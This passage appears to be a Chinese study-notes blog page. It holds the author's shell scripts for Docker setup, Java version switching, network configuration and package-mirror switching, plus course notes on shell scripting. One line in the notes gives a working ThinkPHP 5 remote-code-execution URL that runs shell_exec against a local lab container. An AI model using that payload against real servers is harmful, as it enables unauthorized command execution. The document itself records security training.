|| echo "mirror_trust配置失败"
# todo 校验
restart_docker
else
echo "mirror is not http, not change mirror_trust"
fi
}
enable_doceker(){
systemctl enable --now docker
}
restart_docker(){
systemctl daemon-reload
systemctl restart docker
}
rm_stoped(){
docker ps -a -f "status=exited" -q | xargs docker rm
}
main(){
init
docker_config_init
if [ $# -eq 0 ]; then
install
install_docker_compose
enable_doceker
else
case $1 in
install | i)
install
;;
proxy | p)
# todo 校验输入的参数
[ -z "$2" ] && [ -z "$config_proxy" ] && exit 1
proxy ${2:-$config_proxy}
;;
mirror | m)
[ -z "$2" ] && [ -z "$config_mirror" ] && exit 1
mirror ${2:-$config_mirror}
;;
mirror-addtrust | mt)
[ -z "$2" ] && [ -z "$config_mirror_trust" ] && exit 1
mirror_trust ${2:-$config_mirror_trust}
[ -z "$2" ] && [ -z "$config_mirror" ] && exit 1
mirror ${2:-$config_mirror}
;;
add-trust | at)
[ -z "$2" ] && [ -z "$config_mirror_trust" ] && exit 1
mirror_trust ${2:-$config_mirror_trust}
;;
rm-stoped | rs)
rm_stoped
;;
compose)
install_docker_compose
;;
*)
help
;;
esac
fi
}
main $@

archjava

archlinux官方提供的切换脚本,我们对其稍作修改,让其支持ubuntu,并附带了install功能

使用

安装

image.png

查看当前安装了那些

image.png

使用指定版本

image.png

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
#! /bin/bash
# Arch Linux helper script to set/unset/check/fix the enabled Java environment
# This program may be freely redistributed under the terms of the GNU General Public License
#
# Author: Guillaume ALAUX <guillaume@archlinux.org>
# Modify: by lzf, 2024-11-26
# feature:
# 1. add jdk download
# 2. support other linux
# warning: this script will change /bin/java link
JVM_DIR=/usr/lib/jvm
#JVM_DIR=./jvm
DEFAULT_NAME=default
DEFAULT_PATH=${JVM_DIR}/${DEFAULT_NAME}
DEFAULT_NAME_JRE=default-runtime
DEFAULT_PATH_JRE=${JVM_DIR}/${DEFAULT_NAME_JRE}
#ORIGIN_JAVA_LN=$PWD/bin/java
ORIGIN_JAVA_LN=/bin/java
# Utility functions
check_root() {
return
if [ $(id -u) -ne 0 ]; then
echo 'This script must be run as root'
exit 1
fi
}
# $1: parameter count given to this script for this option
# $2: expected parameter count for this option
check_param_count() {
if [ $1 -ne $2 ]; then
echo 'Wrong parameter count'
exit 2
fi
}
# Second level functions
get_default_java() {
path=$(readlink -e ${DEFAULT_PATH})
if [ "x${path}" != "x/dev/null" ]; then
echo ${path/${JVM_DIR}\/}
else
echo ""
fi
}
get_installed_javas() {
if [ -d ${JVM_DIR} ]; then
for dir in $(find ${JVM_DIR} -mindepth 1 -maxdepth 1 -type d | sort); do
if [ -x ${dir}/bin/java ]; then
javas+=(${dir/${JVM_DIR}\/})
else
if [ -x ${dir}/jre/bin/java ]; then
javas+=(${dir/${JVM_DIR}\/}/jre)
fi
fi
done
fi
echo ${javas[@]}
}
# $1: Java environment name to test
is_java_valid() {
test "x$1" != "x${DEFAULT_NAME}" && test -x ${JVM_DIR}/$1/bin/java
}
# $1: Java environment name to set as default
set_default_link_to() {
new_default=$1
unlink ${DEFAULT_PATH} 2>/dev/null
ln -sf ${new_default} ${DEFAULT_PATH}
unlink ${DEFAULT_PATH_JRE} 2>/dev/null
if [[ -d ${new_default}/jre ]]; then
ln -sf ${new_default}/jre ${DEFAULT_PATH_JRE}
else
ln -sf ${new_default} ${DEFAULT_PATH_JRE}
fi
}
unset_default_link() {
unlink ${DEFAULT_PATH} 2>/dev/null
unlink ${DEFAULT_PATH_JRE} 2>/dev/null
}
# First level functions
do_status() {
installed_java=($(get_installed_javas))
if [ ${#installed_java[@]} -eq 0 ]; then
echo 'No compatible Java environment installed'
else
default_java=$(get_default_java)
echo 'Available Java environments:'
for java in ${installed_java[@]}; do
# We discoverd this Java env but its JRE is actually set as default
if [ "${java}/jre" = "${default_java}" ]; then
echo -e " ${java} (${java}/jre default)"
elif [ ${java} = "${default_java}" ]; then
echo -e " ${java} (default)"
else
echo " ${java}"
fi
done
if [ -z ${default_java} ]; then
echo "No Java environment set as default"
fi
fi
}
do_get() {
get_default_java
}
# $1: Java environment name to set as default
do_set() {
if ! is_java_valid $1; then
echo "'${JVM_DIR}/$1' is not a valid Java environment path"
exit 1
fi
default=$(get_default_java)
if [ "x$1" != "x${default}" ] || ! is_java_valid ${default}; then
unset_default_link
set_default_link_to $1
fi
#parent_dir=$(dirname $1)
#if is_java_valid ${parent_dir}; then
# echo "Warning: '${parent_dir}' looks like a valid JDK whereas '$1' is set as default"
# echo "Fix this with 'archlinux-java set ${parent_dir}'"
#fi
}
# $1: Java environment name to unset
do_unset() {
unset_default_link
}
do_fix() {
default=$(get_default_java)
if is_java_valid ${default}; then
# If its parent is also a valid Java environment
if is_java_valid $(dirname ${default}); then
unset_default_link
set_default_link_to $(dirname ${default})
fi
else
prev=$(readlink ${DEFAULT_PATH})
unset_default_link
potential_fixes=("${prev/\/jre}" "${prev}/jre")
openjdk8=('java-8-openjdk' 'java-8-openjdk/jre')
# List of environments to check by order of preference:
# - first potential fixes of user choices,
# - then OpenJDK8 as it is considered a default in Arch Linux
# - finally, any installed environment
to_check=(${potential_fixes[@]} ${openjdk8[@]} $(get_installed_javas))
for java in ${to_check[@]}; do
if ! is_java_valid $(get_default_java) && is_java_valid ${java}; then
set_default_link_to ${java}
fi
done
fi
if ! is_java_valid $(get_default_java); then
echo 'No valid Java environment found'
fi
}
# 下载并解压,避免繁琐的操作
download_and_untar(){
file="$JVM_DIR/$1"
wget -O "$file" "$2"
tar -xf "$file" -C "$JVM_DIR"
}
# 这里写死了
install(){
case $1 in
8)
download_and_untar jdk-8u421-linux-x64.tar.gz https://d.injdk.cn/d/download/oraclejdk/8/jdk-8u421-linux-x64.tar.gz
;;
11)
download_and_untar jdk-11.0.24_linux-x64_bin.tar.gz https://d.injdk.cn/d/download/oraclejdk/11/jdk-11.0.24_linux-x64_bin.tar.gz
;;
17)
download_and_untar jdk-17_linux-x64_bin.tar.gz https://d.injdk.cn/d/download/oraclejdk/17/jdk-17_linux-x64_bin.tar.gz
;;
21)
download_and_untar jdk-21_linux-x64_bin.tar.gz https://d.injdk.cn/d/download/oraclejdk/21/jdk-21_linux-x64_bin.tar.gz
;;
23)
download_and_untar jdk-23_linux-x64_bin.tar.gz https://d.injdk.cn/d/download/oraclejdk/23/jdk-23_linux-x64_bin.tar.gz
;;
*)
echo "暂不支持$1"
exit 1
;;
esac
}
# 为了兼容其他发行版,强制将/bin/java连接到了$JDK_DIR/default/bin/java
change_ln(){
if [ -f $ORIGIN_JAVA_LN ];then
if ! [[ $(readlink $ORIGIN_JAVA_LN) == *default* ]]; then
cp $ORIGIN_JAVA_LN ".$ORIGIN_JAVA_LN.back"
unlink /bin/java
ln -s "$JVM_DIR/default/bin/java" $ORIGIN_JAVA_LN
fi
else
ln -s "$JVM_DIR/default/bin/java" $ORIGIN_JAVA_LN
fi
}
usage() {
echo "$(basename $0) <COMMAND>"
echo -e "\nCOMMAND:"
echo -e '\tstatus\t\tList installed Java environments and enabled one'
echo -e '\tget\t\tReturn the short name of the Java environment set as default'
echo -e '\tset <JAVA_ENV>\tForce <JAVA_ENV> as default'
echo -e '\tunset\t\tUnset current default Java environment'
echo -e '\tfix\t\tFix an invalid/broken default Java environment configuration'
echo -e '\tinstall 8/11/17/21/23\t\tInstall jdk tar'
}
# 初始化
init(){
# 判断jvm目录是否存在
if [ ! -d "$JVM_DIR" ]; then
mkdir -p "$JVM_DIR"
fi
}
## Main
init
case $1 in
'status') do_status;;
'get') do_get;;
'set') check_root; check_param_count $# 2; do_set $2; change_ln;;
'unset') check_root; do_unset;;
'fix') check_root; do_fix;;
'install') check_root; install $2;;
'help' | '--help' | '-h' | '') usage;;
*) echo "$(basename $0): unknown option '$@'"; exit 1;;
esac

网卡配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/bin/bash
# 检测系统类型
function detect_os() {
if [[ -f /etc/os-release ]]; then
. /etc/os-release
echo "$ID"
else
echo "无法检测操作系统类型。"
exit 1
fi
}
# 修改 IP 地址
function set_ip() {
local iface="$1"
local ip="$2"
local netmask="$3"
sudo ip addr flush dev "$iface" # 清除现有 IP 地址
sudo ip addr add "$ip/$netmask" dev "$iface" # 添加新 IP 地址
sudo ip link set "$iface" up # 启动网卡
}
# 修改 DNS
function set_dns() {
local dns="$1"
local connection_name="$(nmcli -t -f name con show --active | grep -m 1 "$iface")"
if [ -z "$connection_name" ]; then
echo "未找到活动连接,无法设置 DNS。"
exit 1
fi
nmcli con mod "$connection_name" ipv4.dns "$dns"
nmcli con up "$connection_name" # 重新启动连接
}
# 主程序
OS_NAME=$(detect_os)
read -p "请输入网卡名称 (例如 ens33): " iface
read -p "请输入新的 IP 地址 (例如 192.168.1.122): " ip
read -p "请输入子网掩码 (例如 24): " netmask
read -p "请输入新的 DNS 地址 (例如 8.8.8.8): " dns
set_ip "$iface" "$ip" "$netmask"
set_dns "$dns"

思考&&todo

参考

day11_kls

课程内容

thinkphp/5-rce

开启容器后访问http://localhost:8099/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=ls%20-la

image.png

命令拼接

这里的命令拼接意味一次执行多个命令

;执行前面的命令后,接着执行后面的

&实际上其是让命令后台运行

&&,||实际上这两位是逻辑操作符,尽量避免使用

|实际上其是管道符,用户将上一个命令的输出作为下一个命令的输入

妙用echo

1
echo "`ls` `echo 123`"

shell脚本

环境变量

PATH可执行程序的路径

PWD当前所在的目录

SHELL当前使用的shell

'"的区别

'字符原始数据,"可以解析其中的变量值

变量定义以及使用

限定符local当前作用域,export作为环境变量

name=value定义

$name

参数

传参fun1 var1 var2

处理参数

1
2
3
fun(){
echo $1 $2
}

特殊的

$0为该脚本本身的名字

$#:表示传入参数的个数。

$@:表示所有传入的参数(以独立形式显示,每个参数都保留为单独的字符串)
$*:表示所有传入的参数(以一个字符串形式显示,所有参数被合并)

运算

算术:

expr(不推荐)

echo '1+1' | bc

(推荐)

$(( a + b ))

let x=a+b

字符串:

${#var1}字符串长度

${str:start:end}截取字符串

${str/old/new}替换字符

流程if,case

语法:

1
2
3
4
5
6
7
if [ condition ]; then
# commands
elif [ another_condition ]; then
# commands
else
# commands
fi

循环for,while

for语法:

1
2
3
4
5
6
7
8
9
for i in $@ ; do
if [[ condition ]]; then
continue
fi
if [[ condition ]]; then
break
fi
# cmmmands
done

while语法:

1
2
3
while [ condition ]; do
# commands
done

condition相关

| 特性 | [ ] | [[ ]] | 无括号 |
| —- | —- | —- |
| 本质 | test 命令 | Bash 内置功能 | 直接执行命令 |
| 支持正则表达式 | 不支持 | 支持 | 取决于命令 |
| 支持逻辑运算符 | 需要使用 -a-o | 使用 && 和 ` | |
| 变量双引号要求 | 必须加 | 可省略 | 通常不需要 |
| 安全性 | 较低(易受空值或特殊字符影响) | 高 | 高 |

散碎的知识点

poc

Proof of Concept,漏洞概念验证代码或脚本,用于证明某个漏洞的存在、触发条件以及可能的危害。

实例&&作业

自动更新apt和yum源的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
#!/bin/bash
# author: lzf
# feature:
# 1. suport ubuntu,debinen,centos,kali
# 2. backup and restore
# todo:
# 1. yum源更新,仅支持了centos7
# 1. apt源更新,遗漏了部分源
# 帮助
help(){
echo "$0 update | backup | restore [file_real_path] | list-backup"
}
# 初始化
init(){
check_depen
get_os_info
case $ID in
ubuntu)
;;
debian)
;;
centos)
if [ $VERSION_ID != '7' ]; then
echo "Error, Only support centos7."
exit 1
fi
;;
kali)
;;
arch)
;;
*)
echo "Error: $ID is not supported."
exit 1
;;
esac
}
# 获取系统源路径(用于获取备份文件)
get_os_source_path(){
file_list=()
case $ID in
arch)
file_list+=("/etc/pacman.d/mirrorlist")
;;
centos)
for f in /etc/yum.repos.d/*.repo; do
file_list+=("$f")
done
;;
*)
file_list+=("/etc/apt/sources.list")
for f in /etc/apt/sources.list.d/*; do
if [[ "$f" != *back ]]; then
file_list+=("$f")
fi
done
;;
esac
if [ -z $1 ]; then
echo ${file_list[@]}
elif [ $1 = "backup" ]; then
new_list=()
for f in ${file_list[@]};do
# 如果文件存在则放入新的数组
if [ -f $f ]; then
new_list+=("$f.back")
fi
done
echo ${new_list[@]}
fi
}
# 检测依赖软件包
check_depen(){
local depen=("ls" "declare")
for c in ${depen[@]}; do
has_cmd $c || {
echo "Error: $c is not installed."
exit 1
}
done
}
has_cmd () {
command -v $1 >/dev/null 2>&1
}
# 获取当前系统信息
get_os_info(){
if [ -f /etc/os-release ]; then
source /etc/os-release
else
echo "Error: /etc/os-release not found."
exit 1
fi
}
# 备份镜像源(单个文件)
backup_source(){
if [ -f $1 ]; then
cp $1 $1.back \
&& echo "$1 Backup success.Backup file is $1.back" \
|| echo "$1 Backup failed."
fi
}
# 恢复备份源(单个文件)
restore_source(){
backup_file_path=$1
if [ -f $backup_file_path ]; then
file_postfix=${backup_file_path:(${#backup_file_path}-4):${#backup_file_path}}
origin_file_path=${backup_file_path:0:(${#backup_file_path}-5)}
echo $file_postfix
echo $origin_file_path
if [ ${backup_file_path:(${#backup_file_path}-4):${#backup_file_path}} = 'back' ]; then
if [ -f $origin_file_path ]; then
rm $origin_file_path
fi
cp $backup_file_path $origin_file_path \
&& echo "$backup_file_path Restore success.Restore file is $origin_file_path" \
|| echo "$backup_file_path Restore failed."
fi
fi
}
# 列出所有备份文件
list_backup_source(){
files=`get_os_source_path back`
if [ -z $files ];then
return 0
else
for file in $files; do
echo backup_file: `realpath $file`
done
fi
}
# 备份源
backup(){
case $ID in
centos)
p=`get_os_source_path backup`
echo $p
for f in ls $p ; do
backup_source $f
done
;;
arch)
echo "正在编写代码,暂时不支持$ID"
exit 1
;;
*)
echo `get_os_source_path`
for f in `get_os_source_path`; do
backup_source $f
done
;;
esac
}
# 对源文件进行sed操作
sed_list(){
for f in `get_os_source_path`; do
echo "正在为${f}进行sed操作..."
sed -i "$1" $f
done
}
# apt更新
update_apt(){
apt update \
&& echo "Update success." \
|| echo "Update failed."
}
# 换源
change_source(){
case $ID in
ubuntu)
sed_list "s@//.*archive.ubuntu.com@//mirrors.aliyun.com@g"
update_apt
;;
debian)
sed_list "s@http://\(deb.debian.org\|archive.debian.org\)@https://mirrors.aliyun.com@g"
update_apt
;;
centos)
if [ $VERSION_ID -eq '7' ] ;then
# todo
curl -o /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo
curl -o /etc/yum.repos.d/epel.repo http://mirrors.aliyun.com/repo/epel-7.repo
sed -i 's/http:\/\/mirrors.cloud.aliyuncs.com/url_tmp/g' /etc/yum.repos.d/CentOS-Base.repo && sed -i 's/http:\/\/mirrors.aliyun.com/http:\/\/mirrors.cloud.aliyuncs.com/g' /etc/yum.repos.d/CentOS-Base.repo && sed -i 's/url_tmp/http:\/\/mirrors.aliyun.com/g' /etc/yum.repos.d/CentOS-Base.repo
yum clean all && yum makecache \
&& echo "Update success." \
|| echo "Update failed."
fi
;;
kali)
sed_list "s@http://http.kali.org@https://mirrors.aliyun.com@g"
update_apt
;;
arch)
echo "正在编写代码,暂时不支持$ID"
exit 1
;;
esac
}
main(){
init
#ID="centos"
if [ $# -eq 0 ]; then
backup
change_source
else
case $1 in
"update")
backup
change_source
;;
"backup")
backup
;;
"restore")
if [ -f $2 ]; then
restore_source $2
else
echo "Error: $2 not found."
fi
;;
"list-backup")
list_backup_source
;;
*)
help
;;
esac
fi
}
main $@

思考&&todo

参考